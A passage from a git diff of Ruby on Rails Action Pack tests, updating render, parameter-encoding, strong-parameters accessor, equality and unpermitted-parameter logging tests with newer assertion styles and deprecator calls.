       get :with_implicit_raw
 
-      assert_body "Hello <strong>this is also raw</strong> in an html template"
+      assert_body "Hello <strong>this is also raw</strong> in an HTML template"
       assert_status 200
 
       get :with_implicit_raw, params: { format: "text" }
@@ -176,7 +186,7 @@ def with_custom_layout
   class TestWithLayout < Rack::TestCase
     test "rendering with implicit layout" do
       with_routing do |set|
-        set.draw { ActiveSupport::Deprecation.silence { get ":controller", action: :index } }
+        set.draw { ActionDispatch.deprecator.silence { get ":controller", action: :index } }
 
         get "/render_template/with_layout"
 
diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb
index cea3f9b5fd782..eb496a0dd42e8 100644
--- a/actionpack/test/controller/new_base/render_test.rb
+++ b/actionpack/test/controller/new_base/render_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module Render
@@ -35,7 +37,6 @@ def overridden
     end
 
     private
-
       def secretz
         render plain: "FAIL WHALE!"
       end
@@ -48,6 +49,13 @@ def index
     end
   end
 
+  class DoubleRenderWithHeadController < ActionController::Base
+    def index
+      render plain: "hello"
+      head :bad_request
+    end
+  end
+
   class ChildRenderController < BlankRenderController
     append_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_appended.html.erb" => "child content")
     prepend_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_prepended.html.erb" => "child content")
@@ -57,7 +65,7 @@ class RenderTest < Rack::TestCase
     test "render with blank" do
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get ":controller", action: "index"
           end
         end
@@ -72,13 +80,27 @@ class RenderTest < Rack::TestCase
     test "rendering more than once raises an exception" do
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
+            get ":controller", action: "index"
+          end
+        end
+
+        assert_raises(AbstractController::DoubleRenderError) do
+          get "/render/double_render", headers: { "action_dispatch.show_exceptions" => :none }
+        end
+      end
+    end
+
+    test "using head after rendering raises an exception" do
+      with_routing do |set|
+        set.draw do
+          ActionDispatch.deprecator.silence do
             get ":controller", action: "index"
           end
         end
 
         assert_raises(AbstractController::DoubleRenderError) do
-          get "/render/double_render", headers: { "action_dispatch.show_exceptions" => false }
+          get "/render/double_render_with_head", headers: { "action_dispatch.show_exceptions" => :none }
         end
       end
     end
@@ -88,13 +110,13 @@ class TestOnlyRenderPublicActions < Rack::TestCase
     # Only public methods on actual controllers are callable actions
     test "raises an exception when a method of Object is called" do
       assert_raises(AbstractController::ActionNotFound) do
-        get "/render/blank_render/clone", headers: { "action_dispatch.show_exceptions" => false }
+        get "/render/blank_render/clone", headers: { "action_dispatch.show_exceptions" => :none }
       end
     end
 
     test "raises an exception when a private method is called" do
       assert_raises(AbstractController::ActionNotFound) do
-        get "/render/blank_render/secretz", headers: { "action_dispatch.show_exceptions" => false }
+        get "/render/blank_render/secretz", headers: { "action_dispatch.show_exceptions" => :none }
       end
     end
   end
diff --git a/actionpack/test/controller/new_base/render_xml_test.rb b/actionpack/test/controller/new_base/render_xml_test.rb
index 8bab41337785b..0dc16d64e2263 100644
--- a/actionpack/test/controller/new_base/render_xml_test.rb
+++ b/actionpack/test/controller/new_base/render_xml_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module RenderXml
diff --git a/actionpack/test/controller/output_escaping_test.rb b/actionpack/test/controller/output_escaping_test.rb
index c7047d95ae7d9..d683bc73e67d6 100644
--- a/actionpack/test/controller/output_escaping_test.rb
+++ b/actionpack/test/controller/output_escaping_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class OutputEscapingTest < ActiveSupport::TestCase
   test "escape_html shouldn't die when passed nil" do
-    assert ERB::Util.h(nil).blank?
+    assert_predicate ERB::Util.h(nil), :blank?
   end
 
   test "escapeHTML should escape strings" do
diff --git a/actionpack/test/controller/parameter_encoding_test.rb b/actionpack/test/controller/parameter_encoding_test.rb
index 234d0bddd1ede..ab59cecbb85fe 100644
--- a/actionpack/test/controller/parameter_encoding_test.rb
+++ b/actionpack/test/controller/parameter_encoding_test.rb
@@ -1,39 +1,53 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ParameterEncodingController < ActionController::Base
-  skip_parameter_encoding :test_bar
-  skip_parameter_encoding :test_all_values_encoding
-
-  def test_foo
+  def test_undeclared_parameter
     render body: params[:foo].encoding
   end
 
-  def test_bar
+  skip_parameter_encoding :test_skip_parameter_encoding
+  def test_skip_parameter_encoding
     render body: params[:bar].encoding
   end
 
+  param_encoding :test_param_encoding, :baz, Encoding::SHIFT_JIS
+  def test_param_encoding
+    render body: ::JSON.dump({ "baz" => params[:baz].encoding, "qux" => params[:qux].encoding })
+  end
+
+  skip_parameter_encoding :test_all_values_encoding
   def test_all_values_encoding
-    render body: ::JSON.dump(params.values.map(&:encoding).map(&:name))
+    render body: ::JSON.dump(params.except(:action, :controller).values.map(&:encoding).map(&:name))
   end
 end
 
 class ParameterEncodingTest < ActionController::TestCase
   tests ParameterEncodingController
 
-  test "properly transcodes UTF8 parameters into declared encodings" do
-    post :test_foo, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
+  test "properly transcodes undeclared parameters into UTF-8 encodings" do
+    post :test_undeclared_parameter, params: { "foo" => "foo" }
 
     assert_response :success
     assert_equal "UTF-8", @response.body
   end
 
-  test "properly encodes ASCII_8BIT parameters into binary" do
-    post :test_bar, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
+  test "properly transcodes parameters of the action specified by skip_parameter_encoding to ASCII_8BIT" do
+    post :test_skip_parameter_encoding, params: { "bar" => "bar" }
 
     assert_response :success
     assert_equal "ASCII-8BIT", @response.body
   end
 
+  test "properly transcodes declared parameters into specified encodings" do
+    post :test_param_encoding, params: { "baz" => "baz", "qux" => "qux" }
+
+    assert_response :success
+    assert_equal "Shift_JIS", JSON.parse(@response.body)["baz"]
+    assert_equal "UTF-8", JSON.parse(@response.body)["qux"]
+  end
+
   test "properly encodes all ASCII_8BIT parameters into binary" do
     post :test_all_values_encoding, params: { "foo" => "foo", "bar" => "bar", "baz" => "baz" }
 
@@ -42,7 +56,7 @@ class ParameterEncodingTest < ActionController::TestCase
   end
 
   test "does not raise an error when passed a param declared as ASCII-8BIT that contains invalid bytes" do
-    get :test_bar, params: { "bar" => URI.parser.escape("bar\xE2baz".b) }
+    get :test_skip_parameter_encoding, params: { "bar" => URI::RFC2396_PARSER.escape("bar\xE2baz".b) }
 
     assert_response :success
     assert_equal "ASCII-8BIT", @response.body
diff --git a/actionpack/test/controller/parameters/accessors_test.rb b/actionpack/test/controller/parameters/accessors_test.rb
index 2893eb7b91f84..a3c201114efea 100644
--- a/actionpack/test/controller/parameters/accessors_test.rb
+++ b/actionpack/test/controller/parameters/accessors_test.rb
@@ -1,6 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
-require "active_support/core_ext/hash/transform_values"
 
 class ParametersAccessorsTest < ActiveSupport::TestCase
   setup do
@@ -18,15 +19,27 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     )
   end
 
+  test "each returns self" do
+    assert_same @params, @params.each { |_| _ }
+  end
+
+  test "each_pair returns self" do
+    assert_same @params, @params.each_pair { |_| _ }
+  end
+
+  test "each_value returns self" do
+    assert_same @params, @params.each_value { |_| _ }
+  end
+
   test "[] retains permitted status" do
     @params.permit!
-    assert @params[:person].permitted?
-    assert @params[:person][:name].permitted?
+    assert_predicate @params[:person], :permitted?
+    assert_predicate @params[:person][:name], :permitted?
   end
 
   test "[] retains unpermitted status" do
-    assert_not @params[:person].permitted?
-    assert_not @params[:person][:name].permitted?
+    assert_not_predicate @params[:person], :permitted?
+    assert_not_predicate @params[:person][:name], :permitted?
   end
 
   test "as_json returns the JSON representation of the parameters hash" do
@@ -35,112 +48,309 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     assert @params.as_json.key? "person"
   end
 
+  test "to_s returns the string representation of the parameters hash" do
+    assert_equal({ "person" => { "age" => "32", "name" => { "first" => "David", "last" => "Heinemeier Hansson" },
+      "addresses" => [{ "city" => "Chicago", "state" => "Illinois" }] } }.inspect, @params.to_s)
+  end
+
   test "each carries permitted status" do
     @params.permit!
-    @params.each { |key, value| assert(value.permitted?) if key == "person" }
+    @params.each { |key, value| assert_predicate(value, :permitted?) if key == "person" }
   end
 
   test "each carries unpermitted status" do
     @params.each { |key, value| assert_not(value.permitted?) if key == "person" }
   end
 
+  test "each returns key,value array for block with arity 1" do
+    @params.each do |arg|
+      assert_kind_of Array, arg
+      assert_equal "person", arg[0]
+      assert_kind_of ActionController::Parameters, arg[1]
+    end
+  end
+
+  test "each without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.each
+    assert_equal @params, ActionController::Parameters.new(@params.each.to_h)
+  end
+
   test "each_pair carries permitted status" do
     @params.permit!
-    @params.each_pair { |key, value| assert(value.permitted?) if key == "person" }
+    @params.each_pair { |key, value| assert_predicate(value, :permitted?) if key == "person" }
   end
 
   test "each_pair carries unpermitted status" do
     @params.each_pair { |key, value| assert_not(value.permitted?) if key == "person" }
   end
 
+  test "each_pair returns key,value array for block with arity 1" do
+    @params.each_pair do |arg|
+      assert_kind_of Array, arg
+      assert_equal "person", arg[0]
+      assert_kind_of ActionController::Parameters, arg[1]
+    end
+  end
+
+  test "each_pair without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.each_pair
+    assert_equal @params, ActionController::Parameters.new(@params.each_pair.to_h)
+  end
+
+  test "each_value carries permitted status" do
+    @params.permit!
+    @params.each_value do |value|
+      assert_predicate(value, :permitted?)
+    end
+  end
+
+  test "each_value carries unpermitted status" do
+    @params.each_value do |value|
+      assert_not_predicate(value, :permitted?)
+    end
+  end
+
+  test "each_value without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.each_value
+    assert_equal @params.values, @params.each_value.to_a
+  end
+
+  test "each_key converts to hash for permitted" do
+    @params.permit!
+    @params.each_key { |key| assert_kind_of(String, key) if key == "person" }
+  end
+
+  test "each_key converts to hash for unpermitted" do
+    @params.each_key { |key| assert_kind_of(String, key) if key == "person" }
+  end
+
+  test "each_key without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.each_key
+    assert_equal @params.keys, @params.each_key.to_a
+  end
+
+  test "empty? returns true when params contains no key/value pairs" do
+    params = ActionController::Parameters.new
+    assert_empty params
+  end
+
+  test "empty? returns false when any params are present" do
+    assert_not_empty @params
+  end
+
   test "except retains permitted status" do
     @params.permit!
-    assert @params.except(:person).permitted?
-    assert @params[:person].except(:name).permitted?
+    assert_predicate @params.except(:person), :permitted?
+    assert_predicate @params[:person].except(:name), :permitted?
   end
 
   test "except retains unpermitted status" do
-    assert_not @params.except(:person).permitted?
-    assert_not @params[:person].except(:name).permitted?
+    assert_not_predicate @params.except(:person), :permitted?
+    assert_not_predicate @params[:person].except(:name), :permitted?
+  end
+
+  test "without retains permitted status" do
+    @params.permit!
+    assert_predicate @params.without(:person), :permitted?
+    assert_predicate @params[:person].without(:name), :permitted?
+  end
+
+  test "without retains unpermitted status" do
+    assert_not_predicate @params.without(:person), :permitted?
+    assert_not_predicate @params[:person].without(:name), :permitted?
+  end
+
+  test "exclude? returns true if the given key is not present in the params" do
+    assert @params.exclude?(:address)
+  end
+
+  test "exclude? returns false if the given key is present in the params" do
+    assert_not @params.exclude?(:person)
   end
 
   test "fetch retains permitted status" do
     @params.permit!
-    assert @params.fetch(:person).permitted?
-    assert @params[:person].fetch(:name).permitted?
+    assert_predicate @params.fetch(:person), :permitted?
+    assert_predicate @params[:person].fetch(:name), :permitted?
   end
 
   test "fetch retains unpermitted status" do
-    assert_not @params.fetch(:person).permitted?
-    assert_not @params[:person].fetch(:name).permitted?
+    assert_not_predicate @params.fetch(:person), :permitted?
+    assert_not_predicate @params[:person].fetch(:name), :permitted?
+  end
+
+  test "has_key? returns true if the given key is present in the params" do
+    assert @params.has_key?(:person)
+  end
+
+  test "has_key? returns false if the given key is not present in the params" do
+    assert_not @params.has_key?(:address)
+  end
+
+  test "has_value? returns true if the given value is present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert params.has_value?("Chicago")
+  end
+
+  test "has_value? returns false if the given value is not present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert_not params.has_value?("New York")
+  end
+
+  test "include? returns true if the given key is present in the params" do
+    assert @params.include?(:person)
+  end
+
+  test "include? returns false if the given key is not present in the params" do
+    assert_not @params.include?(:address)
+  end
+
+  test "key? returns true if the given key is present in the params" do
+    assert @params.key?(:person)
+  end
+
+  test "key? returns false if the given key is not present in the params" do
+    assert_not @params.key?(:address)
+  end
+
+  test "member? returns true if the given key is present in the params" do
+    assert @params.member?(:person)
+  end
+
+  test "member? returns false if the given key is not present in the params" do
+    assert_not @params.member?(:address)
+  end
+
+  test "keys returns an array of the keys of the params" do
+    assert_equal ["person"], @params.keys
+    assert_equal ["age", "name", "addresses"], @params[:person].keys
   end
 
   test "reject retains permitted status" do
-    assert_not @params.reject { |k| k == "person" }.permitted?
+    assert_not_predicate @params.reject { |k| k == "person" }, :permitted?
   end
 
   test "reject retains unpermitted status" do
     @params.permit!
-    assert @params.reject { |k| k == "person" }.permitted?
+    assert_predicate @params.reject { |k| k == "person" }, :permitted?
   end
 
   test "select retains permitted status" do
     @params.permit!
-    assert @params.select { |k| k == "person" }.permitted?
+    assert_predicate @params.select { |k| k == "person" }, :permitted?
   end
 
   test "select retains unpermitted status" do
-    assert_not @params.select { |k| k == "person" }.permitted?
+    assert_not_predicate @params.select { |k| k == "person" }, :permitted?
   end
 
   test "slice retains permitted status" do
     @params.permit!
-    assert @params.slice(:person).permitted?
+    assert_predicate @params.slice(:person), :permitted?
   end
 
   test "slice retains unpermitted status" do
-    assert_not @params.slice(:person).permitted?
+    assert_not_predicate @params.slice(:person), :permitted?
   end
 
   test "transform_keys retains permitted status" do
     @params.permit!
-    assert @params.transform_keys { |k| k }.permitted?
+    assert_predicate @params.transform_keys { |k| k }, :permitted?
   end
 
   test "transform_keys retains unpermitted status" do
-    assert_not @params.transform_keys { |k| k }.permitted?
+    assert_not_predicate @params.transform_keys { |k| k }, :permitted?
+  end
+
+  test "transform_keys without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.transform_keys
+    assert_kind_of ActionController::Parameters, @params.transform_keys.each { |k| k }
+  end
+
+  test "transform_keys! without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.transform_keys!
+    assert_kind_of ActionController::Parameters, @params.transform_keys!.each { |k| k }
+  end
+
+  test "deep_transform_keys retains permitted status" do
+    @params.permit!
+    assert_predicate @params.deep_transform_keys { |k| k }, :permitted?
+  end
+
+  test "deep_transform_keys retains unpermitted status" do
+    assert_not_predicate @params.deep_transform_keys { |k| k }, :permitted?
   end
 
   test "transform_values retains permitted status" do
     @params.permit!
-    assert @params.transform_values { |v| v }.permitted?
+    assert_predicate @params.transform_values { |v| v }, :permitted?
   end
 
   test "transform_values retains unpermitted status" do
-    assert_not @params.transform_values { |v| v }.permitted?
+    assert_not_predicate @params.transform_values { |v| v }, :permitted?
+  end
+
+  test "transform_values converts hashes to parameters" do
+    @params.transform_values do |value|
+      assert_kind_of ActionController::Parameters, value
+      value
+    end
+  end
+
+  test "transform_values without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.transform_values
+    assert_kind_of ActionController::Parameters, @params.transform_values.each { |v| v }
+  end
+
+  test "transform_values! converts hashes to parameters" do
+    @params.transform_values! do |value|
+      assert_kind_of ActionController::Parameters, value
+    end
+  end
+
+  test "transform_values! without a block returns an enumerator" do
+    assert_kind_of Enumerator, @params.transform_values!
+    assert_kind_of ActionController::Parameters, @params.transform_values!.each { |v| v }
+  end
+
+  test "value? returns true if the given value is present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert params.value?("Chicago")
+  end
+
+  test "value? returns false if the given value is not present in the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois")
+    assert_not params.value?("New York")
+  end
+
+  test "values returns an array of the values of the params" do
+    params = ActionController::Parameters.new(city: "Chicago", state: "Illinois", person: ActionController::Parameters.new(first_name: "David"))
+    assert_equal ["Chicago", "Illinois", ActionController::Parameters.new(first_name: "David")], params.values
   end
 
   test "values_at retains permitted status" do
     @params.permit!
-    assert @params.values_at(:person).first.permitted?
-    assert @params[:person].values_at(:name).first.permitted?
+    assert_predicate @params.values_at(:person).first, :permitted?
+    assert_predicate @params[:person].values_at(:name).first, :permitted?
   end
 
   test "values_at retains unpermitted status" do
-    assert_not @params.values_at(:person).first.permitted?
-    assert_not @params[:person].values_at(:name).first.permitted?
+    assert_not_predicate @params.values_at(:person).first, :permitted?
+    assert_not_predicate @params[:person].values_at(:name).first, :permitted?
   end
 
   test "is equal to Parameters instance with same params" do
     params1 = ActionController::Parameters.new(a: 1, b: 2)
     params2 = ActionController::Parameters.new(a: 1, b: 2)
     assert(params1 == params2)
+    assert(params1.hash == params2.hash)
   end
 
   test "is equal to Parameters instance with same permitted params" do
     params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
     params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
     assert(params1 == params2)
+    assert(params1.hash == params2.hash)
   end
 
   test "is equal to Parameters instance with same different source params, but same permitted params" do
@@ -148,6 +358,8 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     params2 = ActionController::Parameters.new(a: 1, c: 3).permit(:a)
     assert(params1 == params2)
     assert(params2 == params1)
+    assert(params1.hash == params2.hash)
+    assert(params2.hash == params1.hash)
   end
 
   test "is not equal to an unpermitted Parameters instance with same params" do
@@ -155,6 +367,8 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     params2 = ActionController::Parameters.new(a: 1)
     assert(params1 != params2)
     assert(params2 != params1)
+    assert(params1.hash != params2.hash)
+    assert(params2.hash != params1.hash)
   end
 
   test "is not equal to Parameters instance with different permitted params" do
@@ -162,6 +376,8 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a)
     assert(params1 != params2)
     assert(params2 != params1)
+    assert(params1.hash != params2.hash)
+    assert(params2.hash != params1.hash)
   end
 
   test "equality with simple types works" do
@@ -171,10 +387,19 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
   end
 
   test "inspect shows both class name, parameters and permitted flag" do
+    hash = {
+      "person" => {
+        "age" => "32",
+        "name" => {
+          "first" => "David",
+          "last" => "Heinemeier Hansson"
+        },
+        "addresses" => [{ "city" => "Chicago", "state" => "Illinois" }]
+      },
+    }
+
     assert_equal(
-      '<ActionController::Parameters {"person"=>{"age"=>"32", '\
-        '"name"=>{"first"=>"David", "last"=>"Heinemeier Hansson"}, ' \
-        '"addresses"=>[{"city"=>"Chicago", "state"=>"Illinois"}]}} permitted: false>',
+      "#<ActionController::Parameters #{hash} permitted: false>",
       @params.inspect
     )
   end
@@ -187,23 +412,35 @@ class ParametersAccessorsTest < ActiveSupport::TestCase
     assert_match(/permitted: true/, @params.inspect)
   end
 
-  if Hash.method_defined?(:dig)
-    test "#dig delegates the dig method to its values" do
-      assert_equal "David", @params.dig(:person, :name, :first)
-      assert_equal "Chicago", @params.dig(:person, :addresses, 0, :city)
-    end
+  test "#dig delegates the dig method to its values" do
+    assert_equal "David", @params.dig(:person, :name, :first)
+    assert_equal "Chicago", @params.dig(:person, :addresses, 0, :city)
+  end
 
-    test "#dig converts hashes to parameters" do
-      assert_kind_of ActionController::Parameters, @params.dig(:person)
-      assert_kind_of ActionController::Parameters, @params.dig(:person, :addresses, 0)
-      assert @params.dig(:person, :addresses).all? do |value|
-        value.is_a?(ActionController::Parameters)
-      end
-    end
-  else
-    test "ActionController::Parameters does not respond to #dig on Ruby 2.2" do
-      assert_not ActionController::Parameters.method_defined?(:dig)
-      assert_not @params.respond_to?(:dig)
-    end
+  test "#dig converts hashes to parameters" do
+    assert_kind_of ActionController::Parameters, @params.dig(:person)
+    assert_kind_of ActionController::Parameters, @params.dig(:person, :addresses, 0)
+    assert @params.dig(:person, :addresses).all?(ActionController::Parameters)
+  end
+
+  test "mutating #dig return value mutates underlying parameters" do
+    @params.dig(:person, :name)[:first] = "Bill"
+    assert_equal "Bill", @params.dig(:person, :name, :first)
+
+    @params.dig(:person, :addresses)[0] = { city: "Boston", state: "Massachusetts" }
+    assert_equal "Boston", @params.dig(:person, :addresses, 0, :city)
+  end
+
+  test "#extract_value splits param by delimiter" do
+    params = ActionController::Parameters.new(
+      id: "1_123",
+      tags: "ruby,rails,web",
+      blank_tags: ",ruby,,rails,"
+    )
+
+    assert_equal(["1", "123"], params.extract_value(:id))
+    assert_equal(["ruby", "rails", "web"], params.extract_value(:tags, delimiter: ","))
+    assert_equal(["", "ruby", "", "rails", ""], params.extract_value(:blank_tags, delimiter: ","))
+    assert_nil(params.extract_value(:non_existent_key))
   end
 end
diff --git a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
index cd7c98f1120ab..974612fb7b146 100644
--- a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
+++ b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
 
@@ -18,11 +20,11 @@ def teardown
     end
   end
 
-  test "permits parameters that are whitelisted" do
+  test "allows both explicitly listed and always-permitted parameters" do
     params = ActionController::Parameters.new(
       book: { pages: 65 },
       format: "json")
     permitted = params.permit book: [:pages]
-    assert permitted.permitted?
+    assert_predicate permitted, :permitted?
   end
 end
diff --git a/actionpack/test/controller/parameters/dup_test.rb b/actionpack/test/controller/parameters/dup_test.rb
index fb707a1354323..5403fc6d93bc0 100644
--- a/actionpack/test/controller/parameters/dup_test.rb
+++ b/actionpack/test/controller/parameters/dup_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller/metal/strong_parameters"
 require "active_support/core_ext/object/deep_dup"
@@ -21,7 +23,7 @@ class ParametersDupTest < ActiveSupport::TestCase
   test "a duplicate maintains the original's permitted status" do
     @params.permit!
     dupped_params = @params.dup
-    assert dupped_params.permitted?
+    assert_predicate dupped_params, :permitted?
   end
 
   test "a duplicate maintains the original's parameters" do
@@ -55,11 +57,11 @@ class ParametersDupTest < ActiveSupport::TestCase
     dupped_params = @params.deep_dup
     dupped_params.permit!
 
-    assert_not @params.permitted?
+    assert_not_predicate @params, :permitted?
   end
 
   test "deep_dup @permitted is being copied" do
     @params.permit!
-    assert @params.deep_dup.permitted?
+    assert_predicate @params.deep_dup, :permitted?
   end
 end
diff --git a/actionpack/test/controller/parameters/equality_test.rb b/actionpack/test/controller/parameters/equality_test.rb
new file mode 100644
index 0000000000000..2c836a61480a6
--- /dev/null
+++ b/actionpack/test/controller/parameters/equality_test.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller/metal/strong_parameters"
+
+class ParametersAccessorsTest < ActiveSupport::TestCase
+  setup do
+    ActionController::Parameters.permit_all_parameters = false
+
+    @params = ActionController::Parameters.new(
+      person: {
+        age: "32",
+        name: {
+          first: "David",
+          last: "Heinemeier Hansson"
+        },
+        addresses: [{ city: "Chicago", state: "Illinois" }]
+      }
+    )
+  end
+
+  test "parameters are not equal to the hash" do
+    @hash = @params.each_pair.to_h
+    assert_not_equal @params, @hash
+  end
+
+  test "not eql? to equivalent hash" do
+    @hash = {}
+    @params = ActionController::Parameters.new(@hash)
+    assert_not @params.eql?(@hash)
+  end
+
+  test "not eql? to equivalent nested hash" do
+    @params1 = ActionController::Parameters.new({ foo: {} })
+    @params2 = ActionController::Parameters.new({ foo: ActionController::Parameters.new({}) })
+    assert_not @params1.eql?(@params2)
+  end
+
+  test "not eql? when permitted is different" do
+    permitted = @params.permit(:person)
+    assert_not @params.eql?(permitted)
+  end
+
+  test "eql? when equivalent" do
+    permitted = @params.permit(:person)
+    assert @params.permit(:person).eql?(permitted)
+  end
+
+  test "has_value? converts hashes to parameters" do
+    params = ActionController::Parameters.new(foo: { bar: "baz" })
+    assert params.has_value?("bar" => "baz")
+    params[:foo] # converts value to AC::Params
+    assert params.has_value?("bar" => "baz")
+  end
+
+  test "has_value? works with parameters" do
+    params = ActionController::Parameters.new(foo: { bar: "baz" })
+    assert params.has_value?(ActionController::Parameters.new("bar" => "baz"))
+  end
+
+  test "deconstruct_keys works with parameters" do
+    assert_pattern { @params => { person: { age: "32" } } }
+    refute_pattern { @params => { person: { addresses: ["does not match"] } } }
+  end
+
+  test "deconstruct_keys returns instances of ActionController::Parameters for nested values" do
+    @params => { person: }
+    person => { addresses: }
+
+    assert_kind_of ActionController::Parameters, person
+    assert_kind_of ActionController::Parameters, addresses.first
+  end
+end
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
index c800c1d3df328..26435ea01de9e 100644
--- a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
 require "action_controller/metal/strong_parameters"
 
 class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::EventReporterAssertions
+
   def setup
     ActionController::Parameters.action_on_unpermitted_parameters = :log
   end
@@ -10,23 +15,28 @@ def teardown
     ActionController::Parameters.action_on_unpermitted_parameters = false
   end
 
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
   test "logs on unexpected param" do
-    params = ActionController::Parameters.new(
-      book: { pages: 65 },
-      fishing: "Turnips")
+    request_params = { book: { pages: 65 }, fishing: "Turnips" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
 
-    assert_logged("Unpermitted parameter: :fishing") do
+    assert_logged("Unpermitted parameter: :fishing. Context: { action: my_action, controller: my_controller }") do
       params.permit(book: [:pages])
     end
   end
 
   test "logs on unexpected params" do
-    params = ActionController::Parameters.new(
-      book: { pages: 65 },
-      fishing: "Turnips",
-      car: "Mersedes")
+    request_params = { book: { pages: 65 }, fishing: "Turnips", car: "Mercedes" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
 
-    assert_logged("Unpermitted parameters: :fishing, :car") do
+    assert_logged("Unpermitted parameters: :fishing, :car. Context: { action: my_action, controller: my_controller }") do
       params.permit(book: [:pages])
     end
   end
@@ -35,7 +45,7 @@ def teardown
     params = ActionController::Parameters.new(
       book: { pages: 65, title: "Green Cats and where to find then." })
 
-    assert_logged("Unpermitted parameter: :title") do
+    assert_logged("Unpermitted parameter: :title. Context: {  }") do
       params.permit(book: [:pages])
     end
   end
@@ -44,17 +54,160 @@ def teardown
     params = ActionController::Parameters.new(
       book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" })
 
-    assert_logged("Unpermitted parameters: :title, :author") do
+    assert_logged("Unpermitted parameters: :title, :author. Context: {  }") do
       params.permit(book: [:pages])
     end
   end
 
-  private
+  test "does not log on unexpected nested params with expect" do
+    request_params = { book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" } }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("") do
+      params.expect(book: :pages)
+    end
+  end
+
+  test "does not log on unexpected nested params with expect!" do
+    request_params = { book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" } }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("") do
+      params.expect!(book: :pages)
+    end
+  end
+
+  test "logs on unexpected param with deep_dup" do
+    request_params = { book: { pages: 3, author: "YY" } }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameter: :author. Context: { action: my_action, controller: my_controller }") do
+      params.deep_dup.permit(book: [:pages])
+    end
+  end
+
+  test "logs on unexpected params with slice" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :fishing, :car. Context: { action: my_action, controller: my_controller }") do
+      params.slice(:food, :fishing, :car).permit(:food)
+    end
+  end
+
+  test "logs on unexpected params with except" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :fishing, :car. Context: { action: my_action, controller: my_controller }") do
+      params.except(:music).permit(:food)
+    end
+  end
+
+  test "logs on unexpected params with extract!" do
+    request_params = { food: "tomato", fishing: "Turnips", car: "Mercedes", music: "No. 9" }
+    context = { "action" => "my_action", "controller" => "my_controller" }
+    params = ActionController::Parameters.new(request_params, context)
+
+    assert_logged("Unpermitted parameters: :fishing, :car. Context: { action: my_action, controller: my_controller }") do
+      params.extract!(:food, :fishing, :car).permit(:food)
+    end
+
+    assert_logged("Unpermitted parameter: :music. Context: { action: my_action, controller: my_controller }") do
+      params.permit(:food)
+    end
+  end
 
+  test "logs on unexpected params with transform_values" do
